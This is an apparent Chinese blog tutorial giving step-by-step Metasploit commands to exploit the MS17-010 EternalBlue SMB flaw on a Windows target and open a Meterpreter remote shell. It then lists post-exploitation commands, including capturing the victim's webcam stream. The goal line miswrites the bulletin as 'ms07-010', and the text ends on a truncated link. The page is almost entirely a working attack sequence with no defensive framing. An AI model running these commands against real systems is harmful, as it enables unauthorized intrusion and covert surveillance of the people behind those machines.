Metasploit
目标
利用ms07-010漏洞,获得shell
启动
msfconsole
![](https://i-blog.csdnimg.cn/blog_migrate/fc6d8276c43e56ab4de9bbb5f5ce48bb.png)
搜索模块
search ms17-010
![](https://i-blog.csdnimg.cn/blog_migrate/7a62f592d12af5b6b304283c50806a79.png)
使用模块
use exploit/windows/smb/ms17_010_eternalblue
![](https://i-blog.csdnimg.cn/blog_migrate/94cdc12ea7868879feab2a886b8f89a0.png)
查看选项
show options
![](https://i-blog.csdnimg.cn/blog_migrate/f225fa07358a777e16962c4908e7f1a1.png)
设置参数
set lhost {ip_local}
set rhost {ip_romote}
运行模块
run
![](https://i-blog.csdnimg.cn/blog_migrate/3097cdfd28859a711a4198f5e6db8925.png)
命令执行
help #查看Meterpreter帮助
shell #远程命令行shell
webcam_stream #捕获摄像头流
getuid #查看当前用户
其他
详见[MSF渗透测试指南PDF](